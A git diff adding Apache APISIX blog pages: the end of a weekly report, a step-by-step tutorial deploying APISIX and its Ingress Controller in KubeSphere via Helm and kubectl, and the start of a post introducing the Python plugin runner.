+<li><strong>Related PR</strong>: <a href="https://github.com/apache/apisix/pull/4876">https://github.com/apache/apisix/pull/4876</a></li>
+<li><strong>contributor</strong>: <a href="https://github.com/tzssangglass">tzssangglass</a></li>
+</ul>
+</li>
+<li>
+<p>referer-restriction Support for configuring blacklist</p>
+<ul>
+<li><strong>Related PR</strong>: <a href="https://github.com/apache/apisix/pull/4916">https://github.com/apache/apisix/pull/4916</a></li>
+<li><strong>Contributor</strong>: <a href="https://github.com/okaybase">okaybase</a></li>
+</ul>
+</li>
+</ul>
+<h2 id="recommended-blog-posts-of-the-week">Recommended blog posts of the week</h2>
+<ul>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/25/Using-the-Apache-APISIX-OpenID-Connect-Plugin-for-Centralized-Authentication/">Centralized Authentication with the OpenID Connect Plugin for Apache APISIX</a>: Apache APISIX is a dynamic, real-time, high-performance API gateway that provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, etc. Apache APISIX not only supports plug-in dynamic cha [...]
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/25/Why-Apache-APISIX-chose-Nginx-and-Lua">Why did APISIX choose the Nginx + Lua technology stack?</a>: Provides the historical background and advantages of the Nginx + Lua technology stack chosen by APISIX, noting that ” High performance + flexibility” is what makes APISIX stand out from other gateways.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/blog/2021/08/27/release-apache-apisix-2.9/">Apache APISIX 2.9 Released with More New Features!</a>: Apache APISIX version 2.9 is released! With 30+ developers, 100+ PR submissions, 2 new features, and improved support for plugins, find out what’s new in Apache APISIX 2.9!</p>
+</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/08/31/apache-apisix-kubeSphere-a-better-gateway-and-k8s-ingress-controller/index.html b/blog/2021/08/31/apache-apisix-kubeSphere-a-better-gateway-and-k8s-ingress-controller/index.html
new file mode 100644
index 00000000000..27553423e33
--- /dev/null
+++ b/blog/2021/08/31/apache-apisix-kubeSphere-a-better-gateway-and-k8s-ingress-controller/index.html
@@ -0,0 +1,130 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX × KubeSphere: Providing a better gateway and K8S Ingress Controller | Apache APISIX</title><meta name="description" content="This article describes the direct deployment of Apache APISIX and APISIX Ingress Controller in KubeSphere using the official Apache APISIX Helm repository."><meta name="robots" content="index,follow"><link rel="canonic [...]
+<p>This article describes the direct deployment of Apache APISIX and APISIX Ingress Controller in KubeSphere using the official Apache APISIX Helm repository. And Apache APISIX can be used as a gateway or a data plane for APISIX Ingress Controller to carry business traffic.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction-to-kubesphere">Introduction to KubeSphere</h2>
+<p><a href="https://kubesphere.io/">KubeSphere</a> is a cloud-native application-oriented system built on top of Kubernetes, fully open source, supporting multi-cloud and multi-cluster management, providing full-stack IT automation capabilities, and simplifying enterprise DevOps workflows. Its architecture makes it easy to integrate third-party applications with cloud-native eco-components in a plug-and-play fashion.</p>
+<p>As a full-stack, multi-tenant container platform, KubeSphere provides an operations-friendly, wizard-based interface to help organizations quickly build a powerful and feature-rich container cloud platform. DevOps, application lifecycle management, microservice governance (service grid), log query and collection, service and networking, multi-tenant management, monitoring and alerting, event and audit queries, storage management, access control, GPU support, network policies, image re [...]
+<h2 id="introduction-to-apache-apisix">Introduction to Apache APISIX</h2>
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> is an open source, high-performance, dynamic cloud-native gateway donated to the Apache Foundation by Shenzhen Tributary Technology Co. Apache APISIX currently covers API gateways, LB, Kubernetes Ingress, Service Mesh, and many other scenarios.</p>
+<h2 id="prerequisites">Prerequisites</h2>
+<p>Existing Kubernetes clusters already managed in KubeSphere.</p>
+<h2 id="deploy-apache-apisix-and-apache-apisix-ingress-controller">Deploy Apache APISIX and Apache APISIX Ingress Controller</h2>
+<p>We can either enable KubeSphere’s <a href="https://kubesphere.io/docs/pluggable-components/app-store/">AppStore</a> by referring to KubeSphere’s documentation, or use the <a href="https://kubesphere.io/docs/pluggable-components/app-store/">Helm repository</a> using Apache APISIX (<a href="https://charts.apiseven.com">https://charts.apiseven.com</a>) for deployment. Here, we directly use the Helm repository of Apache APISIX for deployment.</p>
+<p>Execute the following command to add the Helm repo for Apache APISIX and complete the deployment.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> https://charts.apiseven.com</span></span>
+<span class="line"><span style="color:#FFA657">"apisix"</span><span style="color:#A5D6FF"> has</span><span style="color:#A5D6FF"> been</span><span style="color:#A5D6FF"> added</span><span style="color:#A5D6FF"> to</span><span style="color:#A5D6FF"> your</span><span style="color:#A5D6FF"> repositories</span></span>
+<span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> bitnami</span><span style="color:#A5D6FF"> https://charts.bitnami.com/bitnami</span></span>
+<span class="line"><span style="color:#FFA657">"bitnami"</span><span style="color:#A5D6FF"> has</span><span style="color:#A5D6FF"> been</span><span style="color:#A5D6FF"> added</span><span style="color:#A5D6FF"> to</span><span style="color:#A5D6FF"> your</span><span style="color:#A5D6FF"> repositories</span></span>
+<span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> update</span></span>
+<span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#A5D6FF"> create</span><span style="color:#A5D6FF"> ns</span><span style="color:#A5D6FF"> apisix</span></span>
+<span class="line"><span style="color:#FFA657">namespace/apisix</span><span style="color:#A5D6FF"> created</span></span>
+<span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> apisix/apisix</span><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> gateway.type=NodePort</span><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingress-controller.enabled=</span><span style="color:#79C0 [...]
+<span class="line"><span style="color:#FFA657">W0827</span><span style="color:#A5D6FF"> 18:19:58.504653</span><span style="color:#79C0FF"> 294386</span><span style="color:#A5D6FF"> warnings.go:70]</span><span style="color:#A5D6FF"> apiextensions.k8s.io/v1beta1</span><span style="color:#A5D6FF"> CustomResourceDefinition</span><span style="color:#A5D6FF"> is</span><span style="color:#A5D6FF"> deprecated</span><span style="color:#A5D6FF"> in</span><span style="color:#A5D6FF"> v1.16+,</span> [...]
+<span class="line"><span style="color:#FFA657">NAME:</span><span style="color:#A5D6FF"> apisix</span></span>
+<span class="line"><span style="color:#FFA657">LAST</span><span style="color:#A5D6FF"> DEPLOYED:</span><span style="color:#A5D6FF"> Fri</span><span style="color:#A5D6FF"> Aug</span><span style="color:#79C0FF"> 27</span><span style="color:#A5D6FF"> 18:20:00</span><span style="color:#79C0FF"> 2021</span></span>
+<span class="line"><span style="color:#FFA657">NAMESPACE:</span><span style="color:#A5D6FF"> apisix</span></span>
+<span class="line"><span style="color:#FFA657">STATUS:</span><span style="color:#A5D6FF"> deployed</span></span>
+<span class="line"><span style="color:#FFA657">REVISION:</span><span style="color:#79C0FF"> 1</span></span>
+<span class="line"><span style="color:#FFA657">TEST</span><span style="color:#A5D6FF"> SUITE:</span><span style="color:#A5D6FF"> None</span></span>
+<span class="line"><span style="color:#FFA657">NOTES:</span></span>
+<span class="line"><span style="color:#FFA657">1:</span><span style="color:#A5D6FF"> Get</span><span style="color:#A5D6FF"> the</span><span style="color:#A5D6FF"> application</span><span style="color:#A5D6FF"> URL</span><span style="color:#A5D6FF"> by</span><span style="color:#A5D6FF"> running</span><span style="color:#A5D6FF"> these</span><span style="color:#A5D6FF"> commands:</span></span>
+<span class="line"><span style="color:#FF7B72"> export</span><span style="color:#E6EDF3"> NODE_PORT</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$(</span><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> apisix</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> jsonpath="{.spec.ports[0].nodePort}"</span><span style="color:#A5D6FF"> ser [...]
+<span class="line"><span style="color:#FF7B72"> export</span><span style="color:#E6EDF3"> NODE_IP</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$(</span><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> nodes</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> apisix</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> jsonpath="{.items[0].status.addresse [...]
+<span class="line"><span style="color:#79C0FF"> echo</span><span style="color:#A5D6FF"> http://</span><span style="color:#E6EDF3">$NODE_IP</span><span style="color:#A5D6FF">:</span><span style="color:#E6EDF3">$NODE_PORT</span></span></code></pre>
+<p>Verify that it has been successfully deployed and is running.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">➜</span><span style="color:#A5D6FF"> ~</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> pods</span></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> STATUS</span><span style="color:#A5D6FF"> RESTARTS</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">apisix-77d7545d4d-cvdhs</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 4m7s</span></span>
+<span class="line"><span style="color:#FFA657">apisix-etcd-0</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 4m7s</span></span>
+<span class="line"><span style="color:#FFA657">apisix-etcd-1</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 4m7s</span></span>
+<span class="line"><span style="color:#FFA657">apisix-etcd-2</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 4m7s</span></span>
+<span class="line"><span style="color:#FFA657">apisix-ingress-controller-74c6b5fbdd-94ngk</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 4m7s</span></span></code></pre>
+<p>You can see that the related Pods are running properly.</p>
+<h2 id="deploying-the-sample-project">Deploying the sample project</h2>
+<p>We use <code>kennethreitz/httpbin</code> as a sample project for demonstration purposes. The deployment is also done directly in KubeSphere.</p>
+<p>Just select Services - Stateless Services and create it.</p>
+<p><img src="https://static.apiseven.com/202108/1630404138226-5475c163-d372-414e-af74-5c5a86f19629.png" alt="KubeSphere APISIX Ingress Controller demo"></p>
+<p><img src="https://static.apiseven.com/202108/1630404173444-9bb73e0d-5bee-428e-a257-4685500344ef.png" alt="KubeSphere APISIX Ingress Controller demo"></p>
+<p>You can see the successful deployment in KubeSphere’s Services and Loads interface, or you can check directly in the terminal to see if the deployment has succeeded.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FF7B72">~</span><span style="color:#E6EDF3"> kubectl get pods,svc -l app</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> STATUS</span><span style="color:#A5D6FF"> RESTARTS</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">pod/httpbin-v1-7d6dc7d5f-5lcmg</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 48s</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> TYPE</span><span style="color:#A5D6FF"> CLUSTER-IP</span><span style="color:#A5D6FF"> EXTERNAL-IP</span><span style="color:#A5D6FF"> PORT</span><span style="color:#E6EDF3">(</span><span style="color:#FFA657">S</span><span style="color:#E6EDF3">) </span><span style="color:#A5D6FF">AGE</span></span>
+<span class="line"><span style="color:#FFA657">service/httpbin</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.0.5</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 80/TCP</span><span style="color:#A5D6FF"> 48s</span></span></code></pre>
+<h2 id="using-apache-apisix-as-a-gateway-proxy">Using Apache APISIX as a Gateway Proxy</h2>
+<p>We start by demonstrating how to use Apache APISIX as a gateway to proxy services in a Kubernetes cluster.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> exec</span><span style="color:#79C0FF"> -it</span><span style="color:#A5D6FF"> `</span><span style="color:#FFA657">kubect [...]
+<span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> httpbin.default/get</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.default",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.77.0"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "10.244.2.9",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.default/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>As you can see, the sample project can be accessed normally from within the Apache APISIX Pod. Next, use Apache APISIX to proxy the sample project.</p>
+<p>Here we use <code>curl</code> to call the admin interface of Apache APISIX and create a route. All requests with host header <code>httpbin.org</code> are forwarded to the actual application service <code>httpbin.default:80</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> "http://127.0.0.1:9180/apisix/admin/routes/1"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"</span><span style="color:#79C0FF"> -X</span> [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/get",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "host": "httpbin.org",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.default:80": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"node"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF">{</span><span style="color:#E6EDF3">"</span><span style="color:#FFA657">key</span><span style="color:#FFA657">":"</span><span style="color:#FFA657">\/apisix\/routes\/1</span><span style="color:#FFA657">","</span><span style="color:#FFA657">value</span><span style="color:#FFA657">":{"</span><span style="color:#FFA657">host</span><s [...]
+<p>You’ll get output similar to the above, next verify that the proxy is successful:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.77.0",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "127.0.0.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.org/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>The above output shows that the traffic of the example project has been proxied through Apache APISIX. Next, let’s try to access the sample project outside the cluster via Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> svc</span><span style="color:#79C0FF"> -l</span><span style="color:#A5D6FF"> app. [...]
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> TYPE</span><span style="color:#A5D6FF"> CLUSTER-IP</span><span style="color:#A5D6FF"> EXTERNAL-IP</span><span style="color:#A5D6FF"> PORT</span><span style="color:#E6EDF3">(</span><span style="color:#FFA657">S</span><span style="color:#E6EDF3">) </span><span style="color:#A5D6FF">AGE</span></span>
+<span class="line"><span style="color:#FFA657">apisix-admin</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.33.97</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 9180/TCP</span><span style="color:#A5D6FF"> 22m</span></span>
+<span class="line"><span style="color:#FFA657">apisix-gateway</span><span style="color:#A5D6FF"> NodePort</span><span style="color:#79C0FF"> 10.96.126.83</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 80:31441/TCP</span><span style="color:#A5D6FF"> 22m</span></span></code></pre>
+<p>When deployed using Helm chart, the Apache APISIX port is exposed by default as a NodePort. We use the Node IP + NodePort port for access testing.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://172.18.0.5:31441/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.76.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "10.244.2.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.org/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>As you can see, <strong>it is already possible to proxy services within the Kubernetes cluster outside the cluster via Apache APISIX as a gateway.</strong></p>
+<h2 id="proxy-services-using-apisix-ingress-controller">Proxy services using APISIX Ingress Controller</h2>
+<p>We can add application routes (Ingress) directly in KubeSphere and Apache APISIX Ingress Controller will automatically sync the routing rules to Apache APISIX to complete the proxy for the service.</p>
+<p><img src="https://static.apiseven.com/202108/1630404265190-585b9b09-72d5-4320-b0fe-9cf8a73c55ea.png" alt="KubeSphere APISIX Ingress Controller demo"></p>
+<p><img src="https://static.apiseven.com/202108/1630404325747-b92928dc-2c6b-4574-a49d-32b6bcb187f9.png" alt="KubeSphere APISIX Ingress Controller demo"></p>
+<p><strong>Note</strong> We added the annotation configuration of <code>kubernetes.io/ingress.class: apisix</code> to support multiple ingress-controller scenarios in the cluster.</p>
+<p>After saving, you can see the following screen.</p>
+<p><img src="https://static.apiseven.com/202108/1630404366474-dfe8ae08-f16d-417f-8ef3-3495ebda0f7d.png" alt="KubeSphere APISIX Ingress Controller demo"></p>
+<p>Test if the proxy is successful under the terminal.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://172.18.0.5:31441/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: http-ing.org"</span><span style="color:#A5D6FF"> {</span><span style="color:#A5D6FF"> "args":< [...]
+<p>You can see that it is also proxied properly.</p>
+<p>In addition to the above, Apache APISIX Ingress Controller extends Kubernetes by way of CRD, and you can also publish custom resources like <code>ApisixRoute</code> to expose services in Kubernetes to the public.</p>
+<h2 id="summary">Summary</h2>
+<p>You can deploy Apache APISIX and APISIX Ingress Controller directly in KubeSphere using the official Apache APISIX Helm repository. And Apache APISIX can be used as a gateway or as a data plane for APISIX Ingress Controller to carry business traffic.</p>
+<h2 id="future-outlook">Future Outlook</h2>
+<p>Apache APISIX has already partnered with the KubeSphere community, so you can find Apache APISIX directly in KubeSphere’s own application repository, without having to manually add a Helm repository.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org [...]
\ No newline at end of file
diff --git a/blog/2021/09/06/python-helps-you-quickly-with-apache-apisix-development/index.html b/blog/2021/09/06/python-helps-you-quickly-with-apache-apisix-development/index.html
new file mode 100644
index 00000000000..53f6ef8b0b3
--- /dev/null
+++ b/blog/2021/09/06/python-helps-you-quickly-with-apache-apisix-development/index.html
@@ -0,0 +1,192 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Python helps you develop Apache APISIX plugin | Apache APISIX</title><meta name="description" content="This article will introduce you how to use Python to develop custom plugins and environment deployment on the cloud-native API gateway Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2 [...]
+<p>The <a href="https://github.com/apache/apisix-java-plugin-runner">Java Plugin</a> and <a href="https://github.com/apache/apisix-java-plugin-runner">Go Plugin</a> languages have been supported in the community before the Apache APISIX Python Runner, and today Python Runner is now available, giving the community another option for developing plugins for Apache APISIX.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<h3 id="apache-apisix">Apache APISIX</h3>
+<p><code>Apache APISIX</code> is a high-performance cloud-native open-source API gateway that provides unified request interception and governance (e.g., authentication, caching, versioning, fusing, auditing, etc.) to help developers easily provide secure and reliable services to the outside world, while developers only need to focus on business implementation with <code>Apache APISIX</code>, which saves a lot of time in developing and maintaining generic capabilities and reduces the com [...]
+<h3 id="python">Python</h3>
+<p>Python is an interpreted high-level programming language with a simple syntax, good code readability, cross-platform, portability, and development efficiency.
+As a high-level programming language, it has a high degree of abstraction and shields a lot of underlying details (e.g., <code>GC</code>).
+) allows us to focus more on the development of application logic in the development process. As a 30-year old development language, Python has a well-developed ecology and various modules, and most of our development and application scenarios can be found in mature modules or solutions from the community. <code>Python</code>
+We won’t go into all the other advantages. The disadvantages of <code>Python</code> are also obvious: <code>Python</code>, as an interpreted language, has a relatively large performance gap compared to compiled languages like <code>C++</code> and <code>Go</code>.</p>
+<h3 id="apache-apisix-python-runner">Apache APISIX Python Runner</h3>
+<p><a href="https://github.com/apache/apisix-python-plugin-runner">apache-apisix-python-runner</a> This project can be interpreted as <code>Apache APISIX</code>
+and <code>Python</code>.
+The most important thing is to let more <code>Python developers</code> who are interested in <code>Apache APISIX</code> and <code>API gateways</code> to learn more about the use of <code>Apache APISIX</code> and <code>API gateways</code> through this project.
+The following is a diagram of the architecture of <code>Apache APISIX</code> multi-language support.</p>
+<p><img src="https://static.apiseven.com/202108/1639468460315-bb51d913-be72-4329-a47b-7e987dff21ba.png" alt="Apache APISIX work flow"></p>
+<p>The above diagram shows the workflow of <code>Apache APISIX</code> on the left, and the <code>Plugin Runner</code> on the right is the plug-in runner for each language, the <code>apisix-python-plugin-runner</code> introduced in this article is the one that supports <code>Python</code>.
+language.</p>
+<p>When you configure a <code>Plugin Runner</code> in <code>Apache APISIX</code>, <code>Apache APISIX</code> will start a child process to run the <code>Plugin Runner</code> that belongs to the same user as the <code>Apache APISIX</code> process belongs to the same user, and when we restart or reload <code>Apache APISIX</code>, <code>Plugin Runner</code> will also be restarted.</p>
+<p>If you configure the <code>ext-plugin-*</code> plugin for a given route, a request to hit that route will trigger an <code>Apache APISIX</code> <code>RPC</code> call to the <code>Plugin Runner</code> via the <code>Unix Socket</code>. The call is split into two phases.</p>
+<ul>
+<li><a href="https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/ext-plugin-pre-req.md">ext-plugin-pre-req</a>: Before executing the <code>Apache APISIX</code> built-in plugin (Lua language plugin).</li>
+<li><a href="https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/ext-plugin-post-req.md">ext-plugin-post-req</a>: after executing the <code>Apache APISIX</code> plug-in (Lua language plug-in).</li>
+</ul>
+<p>You can choose and configure the execution timing of <code>Plugin Runner</code> as needed.</p>
+<p>The <code>Plugin Runner</code> handles the <code>RPC</code> call, creates a simulated request inside it, and then runs the multilingual plugin and returns the result to Apache APISIX.</p>
+<p>The execution order of multilingual plugins is defined in the <code>ext-plugin-*</code> plugin configuration entry, and like other plugins, they can be enabled and redefined on the fly.</p>
